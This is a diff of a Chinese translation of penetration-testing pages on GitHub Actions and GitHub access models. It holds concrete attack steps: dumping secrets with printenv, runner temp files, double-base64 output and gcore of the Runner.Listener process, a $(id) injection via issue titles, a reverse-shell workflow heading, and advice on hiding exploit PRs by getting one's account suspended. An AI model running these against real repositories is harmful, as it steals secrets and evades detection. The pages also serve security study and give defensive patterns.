如 [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass) 所述,即使某个仓库或组织有策略限制使用特定的 actions,攻击者仍可在 workflow 内下载(`git clone`)该 action,然后将其作为本地 action 引用。由于策略不影响本地路径,**该 action 将在没有任何限制的情况下被执行。**
|
||||
|
||||
Example:
|
||||
示例:
|
||||
```yaml
|
||||
on: [push, pull_request]
|
||||
|
||||
@@ -470,9 +470,9 @@ Check the following pages:
|
||||
|
||||
### 访问 secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
|
||||
|
||||
如果你将内容注入脚本,了解如何访问 secrets 会很有帮助:
|
||||
如果你将内容注入到脚本中,了解如何访问 secrets 很有用:
|
||||
|
||||
- 如果 secret 或 token 被设置为 **环境变量**,可以通过环境直接使用 **`printenv`** 访问。
|
||||
- 如果 secret 或 token 被设置为 **environment variable**,可以直接通过环境使用 **`printenv`** 访问。
|
||||
|
||||
<details>
|
||||
|
||||
@@ -503,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>使用 secrets 获取 reverse shell</summary>
|
||||
<summary>通过 secrets 获取 reverse shell</summary>
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
@@ -526,15 +526,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
</details>
|
||||
|
||||
- 如果 secret 被 **直接用于表达式**,生成的 shell 脚本会被**保存在磁盘上**并可访问。
|
||||
- 如果 secret 被 **直接在表达式中使用**,生成的 shell 脚本会被存储在 **磁盘上** 并且可被访问。
|
||||
- ```bash
|
||||
cat /home/runner/work/_temp/*
|
||||
```
|
||||
- 对于 JavaScript actions,secrets 会通过环境变量传递
|
||||
- 对于 JavaScript actions,secrets 会通过 environment variables 传递
|
||||
- ```bash
|
||||
ps axe | grep node
|
||||
```
|
||||
- 对于 **custom action**,风险取决于程序如何使用它从 **argument** 获取的 secret:
|
||||
- 对于一个 **custom action**,风险会根据程序如何使用从 **argument** 获取的 secret 而有所不同:
|
||||
|
||||
```yaml
|
||||
uses: fakeaction/publish@v3
|
||||
@@ -542,7 +542,7 @@ with:
|
||||
key: ${{ secrets.PUBLISH_KEY }}
|
||||
```
|
||||
|
||||
- 通过 secrets context 列举所有 secrets(合作者级别)。具有 write 访问权限的贡献者可以在任意分支修改 workflow 来导出所有 repository/org/environment 的 secrets。使用双重 base64 绕过 GitHub 的日志掩码并在本地解码:
|
||||
- 通过 secrets context 列举所有 secrets(collaborator 级别)。拥有 write 权限的贡献者可以在任意分支修改 workflow 来转储所有 repository/org/environment secrets。使用双重 base64 来规避 GitHub 的日志掩码并在本地解码:
|
||||
|
||||
```yaml
|
||||
name: Steal secrets
|
||||
@@ -566,27 +566,27 @@ echo "ZXdv...Zz09" | base64 -d | base64 -d
|
||||
|
||||
Tip: for stealth during testing, encrypt before printing (openssl is preinstalled on GitHub-hosted runners).
|
||||
|
||||
### Abusing Self-hosted runners
|
||||
### 滥用 Self-hosted runners
|
||||
|
||||
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
|
||||
查找哪些 **Github Actions** 在非 GitHub 基础设施上执行的方法是,在 Github Action 配置 yaml 中搜索 **`runs-on: self-hosted`**。
|
||||
|
||||
**Self-hosted** runners 可能可以访问 **额外的敏感信息**、其他 **网络系统**(网络中的易受攻击端点?metadata service?),或者即使它是隔离并销毁的,**多个 action 可能同时运行**,其中恶意的 action 可能**窃取其他 action 的 secrets**。
|
||||
**Self-hosted** runners 可能可以访问 **额外敏感信息**、其他 **network systems**(网络中易受攻击的端点?metadata service?),或者即使它被隔离并销毁,**可能会同时运行多个 action**,恶意的那个可能会**窃取另一个的 secrets**。
|
||||
|
||||
In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
|
||||
在 self-hosted runners 中也可以通过转储其内存来获取 **secrets from the \_Runner.Listener**\_\*\* process\*\*,该进程在任意步骤中将包含所有 workflows 的 secrets:
|
||||
```bash
|
||||
sudo apt-get install -y gdb
|
||||
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
|
||||
```
|
||||
查看 [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
查看 [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/)。
|
||||
|
||||
### Github Docker Images 注册表
|
||||
### Github Docker 镜像注册表
|
||||
|
||||
可以创建 Github actions,它们会 **build and store a Docker image inside Github**.\
|
||||
下面的可展开示例:
|
||||
可以创建 Github actions 来**在 Github 内构建并存储 Docker 镜像**。
|
||||
下面的可展开部分给出了一个示例:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Github Action Build & Push Docker Image</summary>
|
||||
<summary>Github Action 构建并推送 Docker Image</summary>
|
||||
```yaml
|
||||
[...]
|
||||
|
||||
@@ -617,33 +617,33 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
|
||||
```
|
||||
</details>
|
||||
|
||||
正如你在上面的代码中看到的,Github registry 托管在 **`ghcr.io`**。
|
||||
如你在之前的代码中看到,Github 注册表托管在 **`ghcr.io`**。
|
||||
|
||||
具有仓库读取权限的用户随后将能够使用个人访问令牌下载该 Docker Image:
|
||||
具有对该 repo 读取权限的用户随后可以使用个人访问令牌下载 Docker Image:
|
||||
```bash
|
||||
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
|
||||
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
|
||||
```
|
||||
Then, the user could search for **leaked secrets in the Docker image layers:**
|
||||
然后,用户可以搜索 **leaked secrets in the Docker image layers:**
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
{{#endref}}
|
||||
|
||||
### Sensitive info in Github Actions logs
|
||||
### Github Actions 日志中的敏感信息
|
||||
|
||||
即使 **Github** 试图在 actions 日志中 **检测 secret 值** 并 **避免显示** 它们,执行 action 时可能生成的 **其他敏感数据** 不会被隐藏。例如,用 secret 值签名的 JWT 不会被隐藏,除非它被 [专门配置](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret)。
|
||||
即使 **Github** 试图在 actions 日志中 **detect secret values** 并 **avoid showing** 它们,action 执行过程中可能生成的 **other sensitive data** 不会被隐藏。例如,一个用 secret value 签名的 JWT 不会被隐藏,除非它被 [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
|
||||
|
||||
## Covering your Tracks
|
||||
## 掩盖你的痕迹
|
||||
|
||||
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) 首先,任何发起的 PR 在 Github 上对公众和目标 GitHub 帐号都是可见的。默认情况下,在 GitHub 上我们**无法删除互联网上的 PR**,但这里有个窍门。对于被 Github **封禁** 的账号,其所有 **PRs 会被自动删除** 并从互联网上移除。因此为了隐藏你的活动,你需要让你的 **GitHub account 被封禁或被标记**。这将**隐藏你在 GitHub 上的所有活动**(基本上移除你所有的 exploit PR)。
|
||||
(技巧来自 [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) 首先,任何发起的 PR 在 Github 上对公众和目标 GitHub 帐户都是清晰可见的。默认情况下,我们 **can’t delete a PR of the internet**,但这里有个变通。对于被 Github **suspended** 的账户,他们的所有 **PRs are automatically deleted** 并从互联网上移除。因此,为了隐藏你的活动,你需要让你的 **GitHub account suspended or get your account flagged**。这将 **hide all your activities** 在 GitHub 上从互联网上(基本上移除你所有的 exploit PR)
|
||||
|
||||
在 GitHub 中,一个组织通常会非常积极地向 GitHub 举报帐号。你只需要在 Issue 中分享“某些内容”,他们就会确保在 12 小时内你的帐号被封禁 :p 这样一来,你的 exploit 在 github 上就变得不可见了。
|
||||
一个在 GitHub 的组织通常会非常积极地向 GitHub 报告账户。你只需要在 Issue 中分享“某些东西”,他们就会确保在 12 小时内你的账户被 suspended :p 就这样,你的 exploit 在 github 上就变得不可见了。
|
||||
|
||||
> [!WARNING]
|
||||
> 组织唯一能发现他们已成为目标的方法是从 SIEM 检查 GitHub 日志,因为在 GitHub UI 中该 PR 会被移除。
|
||||
> 组织识别他们已被针对的唯一方法是从 SIEM 检查 GitHub 日志,因为从 GitHub UI 上这些 PR 会被移除。
|
||||
|
||||
## References
|
||||
## 参考资料
|
||||
|
||||
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
|
||||
|
||||
|
||||
@@ -4,14 +4,14 @@
|
||||
|
||||
## 理解风险
|
||||
|
||||
GitHub Actions 会在步骤执行前渲染表达式 ${{ ... }}。渲染后的值会被粘贴到该步骤的程序中(对 run 步骤来说,是一个 shell 脚本)。如果你在 run: 中直接插入不受信任的输入,攻击者就能控制 shell 程序的一部分并执行任意命令。
|
||||
GitHub Actions 会在 step 执行前渲染表达式 ${{ ... }}。渲染后的值会被粘贴进该 step 的程序(对于 run steps,是一个 shell 脚本)。如果你在 run: 中直接插入不受信任的输入,attacker 将能控制部分 shell 程序并执行 arbitrary commands。
|
||||
|
||||
文档: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
|
||||
Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
|
||||
|
||||
要点:
|
||||
- 渲染在执行之前发生。run 脚本会在所有表达式解析后生成,然后由 shell 执行。
|
||||
- 许多 contexts 根据触发事件包含用户可控字段(issues、PRs、comments、discussions、forks、stars 等)。参见 untrusted input reference: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
- 在 run: 中使用 shell 引号并不是可靠的防御,因为注入发生在模板渲染阶段。攻击者可以通过精心构造的输入跳出引号或注入操作符。
|
||||
要点:
|
||||
- 渲染发生在执行之前。run 脚本会在所有表达式解析完后生成,然后由 shell 执行。
|
||||
- 许多 contexts 包含取决于触发事件的用户可控字段(issues、PRs、comments、discussions、forks、stars 等)。参见 untrusted input 参考: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
- 在 run: 内部对 shell 进行引号转义并不是可靠的防护,因为注入发生在模板渲染阶段。Attackers 可以通过精心构造的输入打破引号或注入操作符。
|
||||
|
||||
## Vulnerable pattern → RCE on runner
|
||||
|
||||
@@ -36,20 +36,20 @@ with:
|
||||
github_token: ${{ secrets.GITHUB_TOKEN }}
|
||||
labels: new
|
||||
```
|
||||
如果攻击者打开一个标题为 $(id) 的 issue,渲染后的步骤变为:
|
||||
如果 attacker 打开一个标题为 $(id) 的 issue,渲染后的步骤变为:
|
||||
```sh
|
||||
echo "New issue $(id) created"
|
||||
```
|
||||
命令替换会在 runner 上运行 id。示例输出:
|
||||
命令替换在 runner 上运行 id。示例输出:
|
||||
```
|
||||
New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
|
||||
```
|
||||
Why quoting doesn’t save you:
|
||||
- Expressions 会先被渲染,然后生成的脚本被执行。如果 untrusted value 包含 $(...), `;`, `"`/`'`,或换行符,它仍然能改变程序结构,绕过你的 quoting。
|
||||
为什么引用无法保护你:
|
||||
- 表达式会先被渲染,然后渲染得到的脚本会被执行。如果不受信任的值包含 $(...)、`;`、`"`/`'` 或换行,它仍能改变程序结构,即使你已做了引用。
|
||||
|
||||
## Safe pattern (shell variables via env)
|
||||
## 安全模式 (shell variables via env)
|
||||
|
||||
正确的缓解办法:将 untrusted input 复制到一个 environment variable 中,然后在 run script 中使用 native shell expansion ($VAR)。不要在命令中用 ${{ ... }} 重新嵌入。
|
||||
正确的缓解措施:将不受信任的输入复制到环境变量,然后在 run 脚本中使用原生 shell 展开 ($VAR)。不要在命令中用 ${{ ... }} 重新嵌入。
|
||||
```yaml
|
||||
# safe
|
||||
jobs:
|
||||
@@ -62,29 +62,29 @@ TITLE: ${{ github.event.issue.title }}
|
||||
run: |
|
||||
echo "New issue $TITLE created"
|
||||
```
|
||||
注意:
|
||||
- Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk.
|
||||
- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:.
|
||||
注意事项:
|
||||
- 避免在 run: 中使用 ${{ env.TITLE }}。那会重新将模板渲染引入命令,从而带来相同的注入风险。
|
||||
- 优先通过 env: 映射传递不受信任的输入,并在 run: 中使用 $VAR 引用它们。
|
||||
|
||||
## 可被读者触发的表面(视为不受信任)
|
||||
|
||||
对公共仓库只有只读权限的账户仍然可以触发许多事件。由这些事件派生的上下文中的任何字段都必须被视为由攻击者控制,除非另有证明。示例:
|
||||
仅对公共仓库具有只读权限的账户仍然可以触发许多事件。由这些事件派生的 contexts 中的任何字段,除非另有证明,否则都必须被视为由攻击者控制。示例:
|
||||
- issues, issue_comment
|
||||
- discussion, discussion_comment (orgs can restrict discussions)
|
||||
- pull_request, pull_request_review, pull_request_review_comment
|
||||
- pull_request_target (如果滥用会很危险,会在基础仓库上下文中运行)
|
||||
- fork (任何人都可以 fork 公共 repos)
|
||||
- pull_request_target (dangerous if misused, runs in base repo context)
|
||||
- fork (anyone can fork public repos)
|
||||
- watch (starring a repo)
|
||||
- 间接通过 workflow_run/workflow_call 链
|
||||
- Indirectly via workflow_run/workflow_call chains
|
||||
|
||||
哪些具体字段由攻击者控制取决于事件。请参考 GitHub Security Lab 的不受信任输入指南: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
哪些具体字段被攻击者控制取决于事件。请参考 GitHub Security Lab’s untrusted input 指南:https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
|
||||
## 实用建议
|
||||
|
||||
- 尽量减少在 run: 中使用表达式。优先使用 env: 映射 + $VAR。
|
||||
- 如果必须转换输入,请在 shell 中使用安全工具(printf %q, jq -r, 等),仍然以 shell 变量作为起点。
|
||||
- 在将分支名、PR 标题、用户名、标签、讨论标题和 PR head refs 插入到脚本、命令行标志或文件路径时要格外小心。
|
||||
- 对于 reusable workflows 和 composite actions,应用相同的模式:先映射到 env 然后引用 $VAR。
|
||||
- 尽量减少在 run: 中使用 expressions。优先使用 env: 映射并使用 $VAR。
|
||||
- 如果必须转换输入,请在 shell 中使用安全工具(例如 printf %q、jq -r 等)进行,且仍然应从 shell 变量开始。
|
||||
- 在将分支名、PR 标题、用户名、标签、讨论标题以及 PR head refs 插入到脚本、命令行参数或文件路径时,要格外小心。
|
||||
- 对于 reusable workflows 和 composite actions,采用相同模式:映射到 env,然后引用 $VAR。
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@@ -4,153 +4,153 @@
|
||||
|
||||
## 基本结构
|
||||
|
||||
大型 **公司** 的基本 github 环境结构通常是拥有一个 **enterprise**,该 **enterprise** 拥有 **若干 organizations**,每个 **organization** 可能包含 **若干 repositories** 和 **若干 teams**。较小的公司可能只 **拥有一个 organization 而没有 enterprise**。
|
||||
大型 **company** 的基本 github 环境结构通常是拥有一个 **enterprise**,该 **enterprise** 拥有 **多个 organizations**,每个 organization 可能包含 **多个 repositories** 和 **多个 teams**。较小的公司可能只 **拥有一个 organization 并且没有 enterprises**。
|
||||
|
||||
从用户角度来看,**用户** 可以是 **不同 enterprise 和 organization 的成员**。在这些范围内,用户可能拥有 **不同的 enterprise、organization 和 repository 角色**。
|
||||
从用户角度来看,一个 **user** 可以是 **不同 enterprise 和 organization 的 member**。在这些范围内,用户可能拥有 **不同的 enterprise、organization 和 repository 角色**。
|
||||
|
||||
此外,用户也可能 **属于不同的 teams** 并在这些 team 中具有不同的 enterprise、organization 或 repository 角色。
|
||||
此外,用户可能 **属于不同的 teams**,在这些 team 中拥有不同的 enterprise、organization 或 repository 角色。
|
||||
|
||||
最后,**repositories 可能具有特殊的保护机制**。
|
||||
最后,**repositories 可能有特殊的保护机制**。
|
||||
|
||||
## 权限
|
||||
|
||||
### Enterprise Roles
|
||||
|
||||
- **Enterprise owner**:拥有此角色的人可以 **管理管理员、管理 enterprise 内的 organizations、管理 enterprise 设置、对 organizations 强制执行策略**。但是,除非他们被设置为 organization owner 或被授予对由 organization 拥有的仓库的直接访问权限,否则他们 **无法访问 organization 设置或内容**。
|
||||
- **Enterprise members**:由 enterprise 拥有的 organizations 的成员 **也会自动成为该 enterprise 的成员**。
|
||||
- **Enterprise owner**:拥有此角色的人可以 **管理管理员、管理 enterprise 内的 organizations、管理 enterprise 设置、在 organizations 之间强制执行策略**。但他们 **不能访问 organization 设置或内容**,除非被设为 organization owner 或被授予对某个 organization 所有仓库的直接访问权限。
|
||||
- **Enterprise members**:由你的 enterprise 拥有的 organizations 的成员也会 **自动成为 enterprise 的成员**。
|
||||
|
||||
### Organization Roles
|
||||
|
||||
在一个 organization 中,用户可以有不同的角色:
|
||||
在一个 organization 中,用户可以拥有不同的角色:
|
||||
|
||||
- **Organization owners**:Organization owners 对你的 organization 拥有 **完全的管理访问权限**。这个角色应当限制在较少人数,但组织中至少不应少于两人。
|
||||
- **Organization members**:对于 **organization 中的人**,默认的非管理角色是 organization member。默认情况下,organization members **拥有若干权限**。
|
||||
- **Billing managers**:Billing managers 是可以 **管理你 organization 的计费设置(例如付款信息)** 的用户。
|
||||
- **Security Managers**:这是 organization owners 可以分配给组织中某个团队的角色。应用该角色后,团队中的每个成员将获得 **管理整个 organization 的安全警报和设置的权限,以及对所有 repositories 的读取权限**。
|
||||
- 如果你的 organization 有一个 security team,你可以使用 security manager 角色来给予团队成员组织中最少的必要访问权限。
|
||||
- **Github App managers**:为了允许额外用户 **管理由 organization 拥有的 GitHub Apps**,owner 可以授予他们 GitHub App manager 权限。
|
||||
- **Outside collaborators**:outside collaborator 是对一个或多个 organization 仓库有 **访问权限但并非明确成为该 organization 成员** 的人。
|
||||
- **Organization owners**:Organization owners 对组织具有 **完全的管理访问权限**。该角色应当限制分配,但组织中至少不应少于两人拥有该角色。
|
||||
- **Organization members**:对于组织中的人员,默认的非管理角色是 organization member。默认情况下,organization members **拥有若干权限**。
|
||||
- **Billing managers**:Billing managers 是能够 **管理组织的计费设置**(例如支付信息)的用户。
|
||||
- **Security Managers**:这是 organization owners 可以分配给组织中任意 team 的角色。分配后,该 team 的每个成员将获得 **管理整个组织的安全警报和设置的权限,以及对组织中所有 repositories 的只读权限**。
|
||||
- 如果你的组织有一个 security team,可以使用 security manager 角色为该 team 的成员赋予他们在组织中所需的最小访问权限。
|
||||
- **Github App managers**:为了允许额外的用户 **管理组织拥有的 GitHub Apps**,owner 可以授予他们 GitHub App manager 权限。
|
||||
- **Outside collaborators**:outside collaborator 是指那些 **对一个或多个组织仓库有访问权限但并不是明确的组织成员** 的人。
|
||||
|
||||
你可以在此表中 **比较这些角色的权限**: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
|
||||
你可以在此表格中 **比较这些角色的权限**:[https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
|
||||
|
||||
### 成员权限
|
||||
### Members Privileges
|
||||
|
||||
在 _https://github.com/organizations/\<org_name>/settings/member_privileges_ 可以看到 **用户仅因成为该组织一员而拥有的权限**。
|
||||
在 _https://github.com/organizations/\<org_name>/settings/member_privileges_ 你可以查看 **仅因成为该组织的一员而赋予用户的权限**。
|
||||
|
||||
此处配置的设置将指示组织成员的以下权限:
|
||||
这里配置的设置将指示组织成员的以下权限:
|
||||
|
||||
- 对组织内所有仓库是否具有 admin、writer、reader 或无权限。
|
||||
- 对组织中所有仓库是管理员、写入者、只读或无权限。
|
||||
- 成员是否可以创建 private、internal 或 public 仓库。
|
||||
- 是否允许 fork 仓库。
|
||||
- 是否允许对仓库进行 fork。
|
||||
- 是否可以邀请 outside collaborators。
|
||||
- 是否可以发布 public 或 private sites。
|
||||
- admins 在仓库上的权限。
|
||||
- 成员是否可以创建新 teams。
|
||||
- 管理员对仓库的权限范围。
|
||||
- 成员是否可以创建新的 teams。
|
||||
|
||||
### Repository Roles
|
||||
|
||||
默认情况下创建的 repository 角色有:
|
||||
默认创建的 repository 角色:
|
||||
|
||||
- **Read**:建议用于希望查看或讨论项目的 **非代码贡献者**。
|
||||
- **Triage**:建议用于需要在没有写权限的情况下 **主动管理 issues 和 pull requests 的贡献者**。
|
||||
- **Write**:建议用于 **积极向项目推送的贡献者**。
|
||||
- **Maintain**:建议用于 **需要管理仓库但不需要访问敏感或破坏性操作的项目经理**。
|
||||
- **Admin**:建议用于需要对项目 **完全访问权限** 的人员,包括管理安全或删除仓库等敏感和破坏性操作。
|
||||
- **Read**:推荐给希望查看或讨论项目的 **非代码贡献者**。
|
||||
- **Triage**:推荐给 **需要主动管理 issues 和 pull requests 但不需要写权限的贡献者**。
|
||||
- **Write**:推荐给 **需要主动向项目推送的贡献者**。
|
||||
- **Maintain**:推荐给 **需要管理仓库但不需访问敏感或破坏性操作的项目经理**。
|
||||
- **Admin**:推荐给需要对项目拥有 **完全访问权限** 的人员,包括管理安全或删除仓库等敏感和破坏性操作。
|
||||
|
||||
你可以在此表中 **比较每个角色的权限**: [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
你可以在此表格中 **比较每个角色的权限**:[https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
|
||||
你也可以在 _https://github.com/organizations/\<org_name>/settings/roles_ 创建你自己的角色。
|
||||
|
||||
### Teams
|
||||
|
||||
你可以在 _https://github.com/orgs/\<org_name>/teams/_ 列出 organization 中创建的 teams。注意,要查看作为其他 teams 子集的 teams,需要访问每个父 team。
|
||||
你可以在 _https://github.com/orgs/\<org_name>/teams/_ 列出组织中创建的 teams。注意,要看到作为其他 teams 子团队的 teams,你需要访问每个父团队。
|
||||
|
||||
### Users
|
||||
|
||||
organization 的用户可以在 _https://github.com/orgs/\<org_name>/people._ 列出。
|
||||
组织的用户可以在 _https://github.com/orgs/\<org_name>/people._ 列出。
|
||||
|
||||
在每个用户的信息中,你可以看到 **该用户所属的 teams**,以及 **该用户有权限访问的 repos**。
|
||||
在每个用户的信息中,你可以看到该用户 **所属的 teams** 以及 **该用户有权限访问的 repos**。
|
||||
|
||||
## Github Authentication
|
||||
|
||||
Github 提供了不同方式来对你的账户进行身份验证并代表你执行操作。
|
||||
Github 提供多种方式来验证你的账户并代表你执行操作。
|
||||
|
||||
### Web Access
|
||||
|
||||
访问 **github.com** 时,你可以使用 **用户名和密码**(以及可能的 **2FA**)登录。
|
||||
访问 **github.com** 时,你可以使用 **用户名和密码** 登录(并可能需要 **2FA**)。
|
||||
|
||||
### **SSH Keys**
|
||||
|
||||
你可以为你的账户配置一把或多把公钥,允许相关的 **私钥代表你执行操作**。[https://github.com/settings/keys](https://github.com/settings/keys)
|
||||
你可以为你的账户配置一把或多把公钥,允许相应的 **私钥代表你执行操作。** [https://github.com/settings/keys](https://github.com/settings/keys)
|
||||
|
||||
#### **GPG Keys**
|
||||
|
||||
你 **不能用这些密钥冒充用户**,但如果你不使用它,可能会因为 **提交没有签名** 而被发现。更多关于 [vigilant mode 的信息请见此处](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode)。
|
||||
你 **不能用这些密钥冒充用户**,但如果你不使用 GPG,可能会因为提交没有签名而被发现。更多关于 [vigilant mode 的信息在这里](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode)。
|
||||
|
||||
### **Personal Access Tokens**
|
||||
|
||||
你可以生成 personal access token 来 **赋予某个应用对你账户的访问权限**。在创建 personal access token 时,**用户** 需要 **指定 token 将拥有的权限**。[https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
你可以生成 personal access token 来 **授予一个应用访问你的账户**。在创建 personal access token 时,**user** 需要 **指定** 该 token 将拥有的 **权限**。[https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
|
||||
### Oauth Applications
|
||||
|
||||
Oauth applications 可能会请求权限以 **访问你的一部分 github 信息或冒充你执行某些操作**。一个常见示例是某些平台上的 **login with github 按钮**。
|
||||
Oauth applications 可能会向你请求权限,**以访问你部分 github 信息或以你的身份执行操作**。一个常见例子是某些平台上的 **login with github 按钮**。
|
||||
|
||||
- 你可以在 [https://github.com/settings/developers](https://github.com/settings/developers) 创建你自己的 **Oauth applications**。
|
||||
- 你可以在 [https://github.com/settings/applications](https://github.com/settings/applications) 查看所有 **已获得你账户访问权限的 Oauth applications**。
|
||||
- 你可以在 [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) 查看 **Oauth Apps 可以请求的 scopes**。
|
||||
- 你可以在 _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_ 查看组织中应用的第三方访问情况。
|
||||
- 你可以在 [https://github.com/settings/applications](https://github.com/settings/applications) 查看所有 **已获准访问你账户的 Oauth applications**。
|
||||
- 你可以在 [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) 查看 **Oauth Apps 可以申请的 scopes**。
|
||||
- 你可以在组织中查看第三方应用访问情况:_https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
|
||||
|
||||
一些 **安全建议**:
|
||||
|
||||
- 一个 **OAuth App** 应始终 **以经过认证的 GitHub 用户身份在整个 GitHub 上行事**(例如,在提供用户通知时),并且仅访问指定的 scopes。
|
||||
- 通过为经过认证的用户启用“Login with GitHub”,OAuth App 可以用作身份提供者。
|
||||
- **不要** 为了让应用仅在 **单个仓库** 上操作而构建 OAuth App。使用 `repo` OAuth scope 时,OAuth Apps 可以 **对已认证用户的所有 repositories 进行操作**。
|
||||
- **不要** 构建 OAuth App 来作为你的 **团队或公司的应用**。OAuth Apps 以 **单个用户** 身份进行认证,因此如果某人创建了一个供公司使用的 OAuth App,然后该人离职,其他人将无法访问它。
|
||||
- 更多信息见 [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps)。
|
||||
- 一个 **OAuth App** 应始终 **以验证过的 GitHub 用户的身份在整个 GitHub 上执行操作**(例如,在提供用户通知时),并且仅能访问指定的 scopes。
|
||||
- 通过为已验证用户启用 “Login with GitHub”,OAuth App 可以用作身份提供者。
|
||||
- **不要** 构建 **OAuth App** 如果你希望你的应用只作用于 **单个仓库**。With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
|
||||
- **不要** 构建 OAuth App 作为你 **团队或公司的应用**。OAuth Apps 以 **单个用户** 身份进行认证,所以如果某人为公司创建了 OAuth App,后来离职,则其他人将无法访问该应用。
|
||||
- **更多信息** 在 [这里](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps)。
|
||||
|
||||
### Github Applications
|
||||
|
||||
Github applications 可以请求权限以 **访问你的 github 信息或冒充你** 对特定资源执行特定操作。在 Github Apps 中,你需要指定应用将有权访问的 repositories。
|
||||
Github applications 可以请求权限以 **访问你的 github 信息或以你的身份执行** 针对特定资源的操作。在 Github Apps 中,你需要指定该应用将能访问的 repositories。
|
||||
|
||||
- 要安装 GitHub App,你必须是 **organization owner 或在某个仓库中具有 admin 权限**。
|
||||
- GitHub App 应该 **连接到个人账户或 organization**。
|
||||
- 要安装 GitHub App,你必须是 **organisation owner 或在某个仓库中有 admin 权限**。
|
||||
- GitHub App 应该 **连接到个人账户或组织**。
|
||||
- 你可以在 [https://github.com/settings/apps](https://github.com/settings/apps) 创建你自己的 Github application。
|
||||
- 你可以在 [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) 查看所有 **已获得你账户访问权限的 Github applications**。
|
||||
- 这些是 **Github Applications 的 API Endpoints**: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)。根据 App 的权限,它将能够访问其中的一部分。
|
||||
- 你可以在 _https://github.com/organizations/\<org_name>/settings/installations_ 查看 organization 中已安装的 apps。
|
||||
- 你可以在 [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) 查看所有 **已获准访问你账户的 Github applications**。
|
||||
- 这是 **Github Applications 的 API Endpoints**:[https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)。根据应用的权限,它将能够访问其中的一部分。
|
||||
- 你可以在组织中查看已安装的应用:_https://github.com/organizations/\<org_name>/settings/installations_
|
||||
|
||||
一些安全建议:
|
||||
|
||||
